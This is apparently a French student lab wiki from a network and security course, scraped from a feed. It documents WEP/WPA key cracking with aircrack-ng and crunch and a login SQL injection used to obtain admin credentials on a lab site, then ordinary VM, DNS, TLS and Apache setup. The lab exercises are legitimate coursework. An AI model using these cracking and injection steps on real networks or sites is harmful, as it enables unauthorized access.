Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
==Setup SSH==&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;br /&gt;
&lt;br /&gt;
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static &lt;br /&gt;
  address 172.26.145.111&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  network 172.26.145.0&lt;br /&gt;
  gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
On &lt;br /&gt;
&lt;br /&gt;
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.&lt;br /&gt;
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.&lt;br /&gt;
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.&lt;br /&gt;
 ---&lt;br /&gt;
 - hosts: all&lt;br /&gt;
   roles:&lt;br /&gt;
     # installs the `ssh_keys` role onto the targetted host&lt;br /&gt;
     - role: ssh_key&lt;br /&gt;
       tags: ssh_key&lt;br /&gt;
&lt;br /&gt;
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)&lt;br /&gt;
 PRA-11 ansible_ssh_host=&amp;quot;172.26.145.111&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière&lt;br /&gt;
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :&lt;br /&gt;
 #&lt;br /&gt;
 #  /etc/apt/sources.list&lt;br /&gt;
 #&lt;br /&gt;
 #&lt;br /&gt;
 # bullseye&lt;br /&gt;
 #&lt;br /&gt;
 deb     http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 deb-src http://deb.debian.org/debian     bullseye main contrib non-free&lt;br /&gt;
 # &lt;br /&gt;
 #  Security updates&lt;br /&gt;
 # &lt;br /&gt;
 deb http://security.debian.org/debian-security bullseye-security main contrib non-free&lt;br /&gt;
&lt;br /&gt;
On installe enfin python3 sur la VM, nécessaire pour le déploiment.&lt;br /&gt;
&lt;br /&gt;
==Setup Docker==&lt;br /&gt;
On installe docker grâce à la commande &lt;br /&gt;
 $ ansible-galaxy install geerlingguy.docker&lt;br /&gt;
&lt;br /&gt;
on ajoute alors a polytech.yaml : &lt;br /&gt;
 - role: geerlingguy.docker&lt;br /&gt;
   tags: docker&lt;br /&gt;
&lt;br /&gt;
==Ip table==&lt;br /&gt;
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.&lt;br /&gt;
On créé un role dédié, nommé firewall.&lt;br /&gt;
main.yml de firewall : &lt;br /&gt;
 ---&lt;br /&gt;
 - name: &amp;quot;Block TCP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot; \{\{item\}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8500&amp;quot;&lt;br /&gt;
     - &amp;quot;8501&amp;quot;&lt;br /&gt;
     - &amp;quot;8502&amp;quot;&lt;br /&gt;
     - &amp;quot;8300&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;br /&gt;
 - name: &amp;quot;Block UDP&amp;quot;&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     source_port: &amp;quot;\{\{ item \}\}&amp;quot;&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     match: tcp&lt;br /&gt;
     jump: DROP&lt;br /&gt;
   become: yes&lt;br /&gt;
   with_items:&lt;br /&gt;
     - &amp;quot;8600&amp;quot;&lt;br /&gt;
     - &amp;quot;8301&amp;quot;&lt;br /&gt;
     - &amp;quot;8302&amp;quot;&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58007</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58007"/>
				<updated>2022-01-12T12:34:30Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Ip table */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
